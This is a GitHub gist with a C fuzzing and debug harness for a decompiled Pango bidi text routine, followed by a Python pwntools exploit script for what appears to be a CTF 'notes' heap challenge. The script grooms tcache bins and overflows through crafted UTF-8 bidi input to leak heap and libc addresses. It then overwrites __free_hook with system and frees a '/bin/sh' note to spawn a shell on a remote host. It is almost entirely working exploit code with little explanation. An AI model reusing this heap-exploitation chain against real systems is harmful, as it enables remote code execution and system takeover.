Skip to content

Instantly share code, notes, and snippets.

@bennofs
Last active December 9, 2018 14:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bennofs/63484066d4ed80915ddf6ebb78eb72fd to your computer and use it in GitHub Desktop.
Save bennofs/63484066d4ed80915ddf6ebb78eb72fd to your computer and use it in GitHub Desktop.
notes.py
#include <glib.h>
#include <pango/pango.h>
#include <pango/pangocairo.h>
#include <fribidi/fribidi.h>
void dumphex(char* ptr, int n) {
while (*ptr && n) {
printf("%02hhx ", *ptr);
ptr += 1;
n -= 1;
}
}
void print_part_orig(gpointer itemp, gpointer datap)
{
PangoItem* item = (PangoItem*)itemp;
unsigned char* data = (unsigned char*)datap;
size_t v2; // rax
size_t v3; // rax
size_t v4; // rax
char *ptr; // [rsp+10h] [rbp-30h]
char *dest; // [rsp+28h] [rbp-18h]
unsigned char *src; // [rsp+30h] [rbp-10h]
size_t n; // [rsp+38h] [rbp-8h]
n = item->length;
ptr = (char *)malloc(item->length + 1);
ptr[item->length] = 0;
src = &data[item->offset];
if ( item->analysis.level & 1 )
{
dest = &ptr[item->length];
while ( dest > ptr )
{
if ( (*src & 0x80u) != 0 )
{
if ( (*src & 0xE0) == 0xC0 )
{
dest -= 2;
v2 = 2LL;
if ( n <= 2 )
v2 = n;
memcpy(dest, src, v2);
src += 2;
n -= 2LL;
}
else if ( (*src & 0xF0) == 0xE0 )
{
dest -= 3;
v3 = 3LL;
if ( n <= 3 )
v3 = n;
memcpy(dest, src, v3);
src += 3;
n -= 3LL;
}
else
{
dest -= 4;
v4 = 4LL;
if ( n <= 4 )
v4 = n;
memcpy(dest, src, v4);
src += 4;
n -= 4LL;
}
}
else
{
*--dest = *src++;
--n;
}
}
if ( dest < ptr )
abort();
}
else
{
memcpy(ptr, src, item->length);
}
dumphex(ptr, strlen(ptr));
printf("\n");
free(ptr);
return pango_item_free(item);
}
void print_part(gpointer data, gpointer user_data) {
PangoItem* item = (PangoItem*)data;
char* input = (char*)user_data;
printf("len: %d, offset: %d, level: %d, data: ", item->length, item->offset, item->analysis.level);
dumphex(&input[item->offset], item->length);
printf("\n");
}
PangoAttrList* attr = 0;
PangoContext* context = 0;
void print_string(char* input) {
GList* list = pango_itemize(context, input, 0LL, strlen(input), attr, 0LL);
g_list_foreach(list, print_part_orig, input);
g_list_free(list);
}
void debug_string(char* input) {
GList* list = pango_itemize(context, input, 0LL, strlen(input), attr, 0LL);
g_list_foreach(list, print_part, input);
g_list_free(list);
}
__attribute__((constructor))
void init(void) {
attr = pango_attr_list_new();
PangoFontMap* font_map = pango_cairo_font_map_get_default();
context = pango_font_map_create_context(font_map);
}
// fuzz_target.cc
int LLVMFuzzerTestOneInput(const unsigned char *Data, size_t Size) {
char* buf = malloc(Size + 2);
memcpy(buf, Data, Size);
buf[Size] = 0xa;
buf[Size+1] = 0x0;
print_string(buf);
free(buf);
return 0; // Non-zero return values are reserved for future use.
}
#ifndef FUZZ
int main() {
char* input = NULL;
size_t len = 0;
getline(&input, &len, stdin);
printf("str len: %lx\n", g_utf8_strlen(input, strlen(input)));
for (char* p = input; p < input + strlen(input); p = g_utf8_next_char(p)) {
dumphex(p, g_utf8_next_char(p) - p);
gunichar ch = g_utf8_get_char(p);
printf("chr %x type %x bracket %x", ch, fribidi_get_bidi_type(ch), fribidi_get_bracket(ch));
printf("\n");
}
printf("--\n");
print_string(input);
debug_string(input);
//free(input);
pango_attr_list_unref(attr);
g_object_unref(context);
return 0;
}
#endif
#!/usr/bin/env python2
from pwn import *
rlm = b"\xE2\x80\x8F"
lro = b"\xE2\x80\xAD"
test = b'\xe2\x99\xa5\xef\xb8\x8e\xef\xb8\x8f'
exe = context.binary = ELF("./vuln")
libc = ELF("./libc.so")
if os.getenv("FAKE"):
exe = context.binary = ELF(os.getenv("FAKE"))
r = remote("116.203.30.100", 31337) if args.REMOTE else remote("localhost", 31000) if args.LOCAL else exe.process()
# does malloc(0x18), malloc(strlen(txt + "\n") + 1)
# total heap movement: 0x20 + strlen(txt + "\n") + 1 + 8
def add(txt):
r.sendlineafter("> ", "1")
r.sendlineafter("Note: ", txt)
l = r.recvline_contains("Id: ")
return int(l.strip().split()[-1])
def show(idx):
r.sendlineafter("> ", "2")
r.sendlineafter("Id: ", str(idx))
return r.recvuntil(" (1) add", drop=True)
def delete(idx):
r.sendlineafter("> ", "3")
r.sendlineafter("Id: ", str(idx))
# normalize the heap: clear all tcaches
def clear_tcaches(max_size=0x200):
with log.progress("clearing tcache") as p:
for sz in xrange(0x10, max_size, 0x10):
p.status(hex(sz))
for i in xrange(7):
add("x" * sz)
# make our life easier
clear_tcaches()
add("A"*0x80)
# let's fill the tcache bins correctly
hole = add("X"*0x50)
h1 = add("H" * 0x6f)
h2 = add("-" * 0x6f)
victim = add("v" * 0x20)
delete(hole)
controlled = add("C" * 0xa0)
leaker1 = add("leaker")
leaker2 = add("leaker2")
delete(leaker1)
delete(leaker2)
leaker1 = add("leaker")
leaker2 = add("leaker2")
delete(h1)
delete(h2)
alloced = [add("smallbin"+"A"*0x100) for _ in xrange(8)]
broken = add("a" * 0x1e + "\xf8\xf8\x00")
show(broken)
# pray it works
clear_tcaches()
delete(victim)
# leak heap
writer = add(cyclic(0x100) + "\x00")
heap_leak = u64(show(0x21).ljust(8, "\0"))
success("heap leak @ %#x", heap_leak)
# restore linked list
delete(writer)
writer = add("w"*0x100 + p64(heap_leak+0x330))
# get a libc pointer via smallbin
for note in alloced:
delete(note)
# leak libc
delete(writer)
writer = add("w"*0xf8 + "overflow" + p64(heap_leak+0xc00-0x10))
libc_leak = u64(show(0xe8).ljust(8, "\0"))
libc.address = libc_leak - 0x1b7ca0
success("libc @ %#x", libc.address)
# clear the 0x20 tcache
for i in xrange(7):
add("c"*0x8)
# free something to increase tcache size
delete(add("c"*0x8))
# free leaker2, this should place it in the tcache
for i in reversed(xrange(8)):
delete(writer)
writer = add("w"*0xf8 + "a"*i)
delete(writer)
writer = add("w"*0xf8 + p64(0x21))
delete(leaker2)
# fake tcache chunk
delete(writer)
writer = add("w" * 0x100 + p64(libc.symbols.__free_hook))
# now shell it!
add(p64(libc.symbols.system))
shell = add("/bin/sh\0")
delete(shell)
# now we can overwrite tcache next
# overwrite free hook
# cleanup
#clear_tcaches()
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment